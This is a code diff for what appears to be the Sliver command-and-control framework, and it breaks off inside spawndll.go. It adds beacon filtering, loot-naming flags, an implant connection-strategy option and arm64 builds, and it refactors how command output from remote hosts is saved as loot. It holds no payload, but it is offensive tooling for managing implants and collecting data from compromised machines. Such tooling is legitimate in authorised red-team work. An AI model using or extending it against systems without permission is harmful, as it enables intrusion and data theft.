Upgrade yaml dep

Go v1.18.2

.github/workflows/go.yml

@@ -7,17 +7,17 @@ on:
     branches:
       - master
     types:
-    - opened
-    - reopened
-    - synchronize
-    - ready_for_review
+      - opened
+      - reopened
+      - synchronize
+      - ready_for_review
 
 jobs:
 
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     steps:
 
     - name: Go 1.18
@@ -52,7 +52,7 @@ jobs:
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     steps:
 
     - name: Go 1.18

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18
+FROM golang:1.18.2
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying

Makefile

@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
 endif
+
+# If no target is specified, determine GOARCH
 ifeq ($(UNAME_P),arm)
-	ENV += GOARCH=arm64
+	ifeq ($(MAKECMDGOALS), )
+		ENV += GOARCH=arm64
+	endif
 endif
 
 ifeq ($(MAKECMDGOALS), linux)
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
 
 .PHONY: linux
 linux: clean validate-go-version
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: linux-arm64
+linux-arm64: clean validate-go-version
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
 windows: clean validate-go-version

client/command/beacons/beacons.go

@@ -21,6 +21,7 @@ package beacons
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"
 
@@ -71,27 +72,36 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
+	filter := ctx.Flags.String("filter")
+	var filterRegex *regexp.Regexp
+	if ctx.Flags.String("filter-re") != "" {
+		var err error
+		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
 
 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	PrintBeacons(beacons.Beacons, con)
+	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
 }
 
 // PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
 	if len(beacons) == 0 {
 		con.PrintInfof("No beacons 🙁\n")
 		return
 	}
-	tw := renderBeacons(beacons, con)
+	tw := renderBeacons(beacons, filter, filterRegex, con)
 	con.Printf("%s\n", tw.Render())
 }
 
-func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
+func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -140,8 +150,11 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 			eta := time.Until(nextCheckin)
 			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
 		}
+
+		// We need a slice of strings so we can apply filters
+		var rowEntries []string
 		if con.Settings.SmallTermWidth < width {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
@@ -152,9 +165,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
 				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
-			})
+			}
 		} else {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
@@ -162,7 +175,31 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
 				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
-			})
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
 		}
 	}
 	return tw

client/command/beacons/watch.go

@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			if err != nil {
 				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
 			}
-			tw := renderBeacons(beacons.Beacons, con)
+			tw := renderBeacons(beacons.Beacons, "", nil, con)
 			lines := strings.Split(tw.Render(), "\n")
 			for _, line := range lines {
 				con.Printf(console.Clearln+"\r%s\n", line)

client/command/commands.go

@@ -399,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
+			f.Bool("D", "disable-otp", false, "disable otp authentication")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -558,7 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
-			f.Bool("f", "force", false, "force session action without waiting for results")
+			f.Bool("F", "force", false, "force session action without waiting for results")
+
+			f.String("f", "filter", "", "filter sessions by substring")
+			f.String("e", "filter-re", "", "filter sessions by regular expression")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -575,7 +579,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
+			f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -615,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "Force kill,  does not clean up")
+			f.Bool("F", "force", false, "Force kill,  does not clean up")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -989,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("o", "output", false, "capture command output")
+			f.Bool("s", "save", false, "save output to a file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1025,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1069,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1094,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 		},
@@ -1250,6 +1262,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1306,6 +1319,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1455,6 +1469,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
@@ -1511,6 +1526,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "dns", "", "dns connection strings")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
@@ -1677,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.RmStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Bool("r", "recursive", false, "recursively remove files")
-			f.Bool("f", "force", false, "ignore safety and forcefully remove files")
+			f.Bool("F", "force", false, "ignore safety and forcefully remove files")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1756,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "colorize-output", false, "colorize output")
 			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to the file to print")
@@ -1777,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
+			f.String("n", "name", "", "name to assign the download if looting")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("remote-path", "path to the file or directory to download")
@@ -1887,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("p", "pid", -1, "target pid")
 			f.String("n", "name", "", "target process name")
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1913,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "disregard safety and kill the PID")
+			f.Bool("F", "force", false, "disregard safety and kill the PID")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2120,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2163,8 +2188,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
+			f.Bool("F", "force", false, "force killing of the beacon")
+			f.String("f", "filter", "", "filter beacons by substring")
+			f.String("e", "filter-re", "", "filter beacons by regular expression")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.Bool("f", "force", false, "force killing of the beacon")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 		Run: func(ctx *grumble.Context) error {
@@ -2833,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Add a remote file from the current session to the server's loot store",
 		LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
 		Args: func(a *grumble.Args) {
-			a.String("path", "The local file path to the loot")
+			a.String("path", "The file path on the remote host to the loot")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.String("n", "name", "", "name of this piece of loot")

client/command/exec/execute-assembly.go

@@ -20,13 +20,10 @@ package exec
 
 import (
 	"context"
-	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -80,7 +77,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("%s", err)
 		return
 	}
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if execAssembly.Response != nil && execAssembly.Response.Async {
 		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +85,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 	}
 }
 
-// PrintExecuteAssembly - Print the results of an assembly execution
-func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
-	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
 
 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, _ = ioutil.TempFile("", outFile)
-	}
-	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
-	if outFilePath != nil {
-		outFilePath.Write(execAssembly.GetOutput())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
+	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
 
-	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
-		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
-		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
-		}
+	if saveLoot {
+		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
 	}
 }
-
-func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
-	if session != nil {
-		return session.Hostname
-	}
-	if beacon != nil {
-		return beacon.Hostname
-	}
-	return ""
-}

client/command/exec/execute.go

@@ -18,7 +18,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
 	"strings"
+	"time"
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	output := ctx.Flags.Bool("output")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	hostName := getHostname(session, beacon)
+
+	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
+	var captureOutput bool = output || saveLoot || saveOutput
 
 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  output,
+			Output:  captureOutput,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  output,
+			Output:  captureOutput,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecute(exec, ctx, con)
+			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		PrintExecute(exec, ctx, con)
+		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 	}
 }
 
+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var lootedOutput []byte
+	stdout := ctx.Flags.String("stdout")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	lootName := ctx.Flags.String("name")
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+
+	if saveLoot || saveOutput {
+		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
+	}
+
+	if saveLoot {
+		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
+	}
+
+	if saveOutput {
+		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
+	}
+
+	PrintExecute(exec, ctx, con)
+}
+
 // PrintExecute - Print the output of an executed command
 func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-	saveLoot := ctx.Flags.Bool("loot")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
-	cmdPath := ctx.Args.String("command")
-	args := ctx.Args.StringList("arguments")
 
 	output := ctx.Flags.Bool("output")
 	if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 		return
 	}
 
-	combined := ""
 	if stdout == "" {
-		combined = string(exec.Stdout)
-		con.PrintInfof("Output:\n%s", combined)
+		con.PrintInfof("Output:\n%s", string(exec.Stdout))
 	} else {
 		con.PrintInfof("Stdout saved at %s\n", stdout)
 	}
 
 	if stderr == "" {
 		if !ignoreStderr && 0 < len(exec.Stderr) {
-			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
 			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
 		}
 	} else {
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 	if exec.Status != 0 {
 		con.PrintErrorf("Exited with status %d!\n", exec.Status)
 	}
-	if saveLoot && 0 < len(combined) {
-		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}
+
+func determineCommandName(command string) string {
+	commandName := strings.ReplaceAll(command, "\\", "/")
+
+	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
+
+	if strings.Contains(commandName, ".") {
+		commandName = commandName[:strings.LastIndex(commandName, ".")]
+	}
+
+	return commandName
+}
+
+func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
+	var outputString string = ""
+
+	if combineStdOut {
+		outputString += "Output (stdout):\n" + string(exec.Stdout)
+	}
+
+	if combineStdErr {
+		if combineStdOut {
+			outputString += "\n"
 		}
+		outputString += "Stderr:\n" + string(exec.Stderr)
+	}
+
+	return []byte(outputString)
+}
+
+func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
+	if len(commandOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	shortCommandName := determineCommandName(cmdName)
+
+	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
+	if lootName == "" {
+		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
+	}
+
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
+	loot.SendLootMessage(lootMessage, con)
+}
+
+func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
+	con.PrintInfof("Output:\n%s", executionOutput)
+
+	if saveOutput {
+		SaveExecutionOutput(executionOutput, commandName, hostName, con)
+	}
+}
+
+func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
+	var outFilePath *os.File
+	var err error
+
+	if len(executionOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to save.")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
+
+	outFilePath, err = ioutil.TempFile("", outFileName)
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if outFilePath != nil {
+		outFilePath.Write([]byte(executionOutput))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/sideload.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"
 
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if sideload.Response != nil && sideload.Response.Async {
 		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSideload(sideload, hostname, ctx, con)
+
+			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		PrintSideload(sideload, hostname, ctx, con)
+		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 	}
 }
 
-// PrintSideload - Print the sideload command output
-func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", sideload.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(sideload.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }

client/command/exec/spawndll.go

@@ -4,8 +4,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
-	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl
 
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if spawndll.Response != nil && spawndll.Response.Async {
 		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSpawnDll(spawndll, hostname, ctx, con)
+
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		PrintSpawnDll(spawndll, hostname, ctx, con)
